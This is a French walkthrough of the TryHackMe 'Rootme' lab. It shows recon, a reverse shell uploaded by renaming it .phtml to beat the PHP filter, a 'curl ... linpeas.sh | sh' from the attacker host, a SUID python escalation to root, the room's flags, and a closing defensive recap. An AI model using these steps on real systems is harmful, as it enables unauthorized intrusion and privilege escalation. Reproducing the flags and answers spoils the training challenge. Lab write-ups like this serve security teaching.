Try Hack Me Walkthrough - Rootme

  • Machine ciblée : Rootme.

  • Répertoire : /home/kali/Rootme

  • Temps passé dessus : 30 minutes

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base pour HackTheBox

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

Phase 1 : Reconnaissance

┌──(kali㉿kali)-[~]
└─$
name="Rootme"
repository="/home/kali/$name"
ip="10.10.176.141"
domain='thm'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts  >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts

nmap  -Pn -A -T5 --top-port 1000 -oN $repository/txt -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
nmap  -Pn -A -T5 -p - --script vuln -oN $repository/full -oX $repository/fullsploitable $ip
sudo nmap  -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable

Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 09:41 CET
Nmap scan report for Rootme (10.10.144.245)
Host is up (0.068s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4ab9160884c25448ba5cfd3f225f2214 (RSA)
|   256 a9a686e8ec96c3f003cd16d54973d082 (ECDSA)
|_  256 22f6b5a654d9787c26035a95f3f9dfcd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.74 seconds

Ok donc on commence cette machine par un habituel scan. On trouve très vite deux ports d’ouverts, le 80 et le 22. On envoie l’énumération web :

┌──(kali㉿kali)-[~/Rootme]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$name
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://Rootme
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/12/20 09:40:50 Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 302] [--> http://rootme/uploads/]
/css                  (Status: 301) [Size: 298] [--> http://rootme/css/]
/js                   (Status: 301) [Size: 297] [--> http://rootme/js/]
/panel                (Status: 301) [Size: 300] [--> http://rootme/panel/]

On trouve un dossiers /uploads et un autre /panel qui attirent notre intérêt. Dans le premier, pas grand chose de visible, par contre le second nous permet d’upload un fichier. Ça semble un bon moyen de se donner un reverse shell ça non ?

┌──(kali㉿kali)-[~/Rootme]
└─$ while 1=1; do nc -vlp 3333 ; done
listening on [any] 3333 ...


┌──(kali㉿kali)-[~/Rootme]
└─$ curl -F 'fileUpload=@../Tools/revshell.php' -F "submit=Upload" http://rootme/panel/  
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <link rel="stylesheet" href="../css/panel.css">
 <script src=../"js/maquina_de_escrever.js"></script>
 <title>HackIT - Home</title>
</head>
<body>
 <div class="first">
  <div class="main-div">
   <form action="" method="POST" enctype="multipart/form-data">
    <p>Select a file to upload:</p>
    <input type="file" name="fileUpload" class="fileUpload">
    <input type="submit" value="Upload" name="submit">
    <p class='erro'>PHP não é permitido!</p>   
   </form>
  </div>
 </div>
</body>
</html>

Mince, le site bloque le php. Bon, que peut-on faire pour éviter de se faire bloquer … Recherche google et si l’on tentait d’autres extensions ?

┌──(kali㉿kali)-[~/Rootme]
└─$ cp ../Tools/revshell.php ./revshell.phtml
┌──(kali㉿kali)-[~/Rootme]
└─$ curl -F 'fileUpload=@./revshell.phtml' -F "submit=Upload" http://rootme/panel/
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <link rel="stylesheet" href="../css/panel.css">
 <script src=../"js/maquina_de_escrever.js"></script>
 <title>HackIT - Home</title>
</head>
<body>
 <div class="first">
  <div class="main-div">
   <form action="" method="POST" enctype="multipart/form-data">
    <p>Select a file to upload:</p>
    <input type="file" name="fileUpload" class="fileUpload">
    <input type="submit" value="Upload" name="submit">
    <p class='success'>O arquivo foi upado com sucesso!</p><a href='../uploads/revshell.phtml'>Veja!</a>
   </form>
  </div>
 </div>
</body>
</html>

Ok, c’est passé !

┌──(kali㉿kali)-[~/Rootme]
└─$ curl -v http://rootme/uploads/revshell.phtml
*   Trying 10.10.144.245:80...
* Connected to rootme (10.10.144.245) port 80
> GET /uploads/revshell.phtml HTTP/1.1
> Host: rootme
> User-Agent: curl/7.85.0
> Accept: */*
>

connect to [10.8.23.82] from Rootme [10.10.144.245] 50886
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 08:36:09 up 17 min,  0 users,  load average: 0.00, 0.16, 0.42
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}

On a le premier flag. Maintenant passons root. J’ai lu la question, alors je savais qu’il y avait un truc à faire avec un SUID binary. J’aurai sans doute jeter un oeil du côté de sudo avant sinon.

┌──(kali㉿kali)-[~]
└─$ cd Tools
┌──(kali㉿kali)-[~/Tools]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
$ curl http://10.8.23.82:8000/linpeas.sh | sh
-rwsr-sr-x 1 root root 3.5M Aug  4  2020 /usr/bin/python

Ok bon, c’est fini, python est SUID+GUID, c’est GTOBins puis fini.

$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

Tâche 1 : Reconnaissance

Question 1 : Scan the machine, how many ports are open ?

2

Question 2 : What version of Apache is running ?

2.4.29

Question 3 : What service is running on port 22 ?

ssh

Question 4 : What is the hidden directory ?

/panel

Tâche 2 : Getting a shell

Question 1 : Get the user flag

cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}

Tâche 3 : privileges Escalation

Question 1 : Which SUID binary seem weird ?

$ curl http://10.8.23.82:8000/linpeas.sh | sh
-rwsr-sr-x 1 root root 3.5M Aug  4  2020 /usr/bin/python

Question 2 : Get the root flag/

$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

Récapitulatif

Il s’agit d’une box facile mais pas trop guidée de Try Hack Me. Elle est effectivement facile. L’attaque principale réside sur le fait que l’on peut pousser presque n’importe quel type de fichier. Dans la vrai vie, il aurait fallu réduire encore plus la liste des fichiers que l’on peut pousser. Une autre technique aurait été de ne pas donner l’accès au /uploads. Si besoin,, voir le cours [Apprentissage des vulnérabilités de contrôle d’accès](../Advent\ Calendar\ 2022/14-DayFourteen.md) du Calendrier de l’Avent THM qui exploite le sujet.

A retenir :

  • Filtrer fortement les uploads de fichiers,

    • Si l’on ne peut pas mieux filtrer, en désactiver l’exécution,

    • Si l’on ne peut toujours pas le faire, ne pas laisser l’accès au dossier.

  • Ne pas laisser de binaires SUID trop puissants comme python.

  • Pour envoyer un fichier avec curl, il suffit de faire un -F.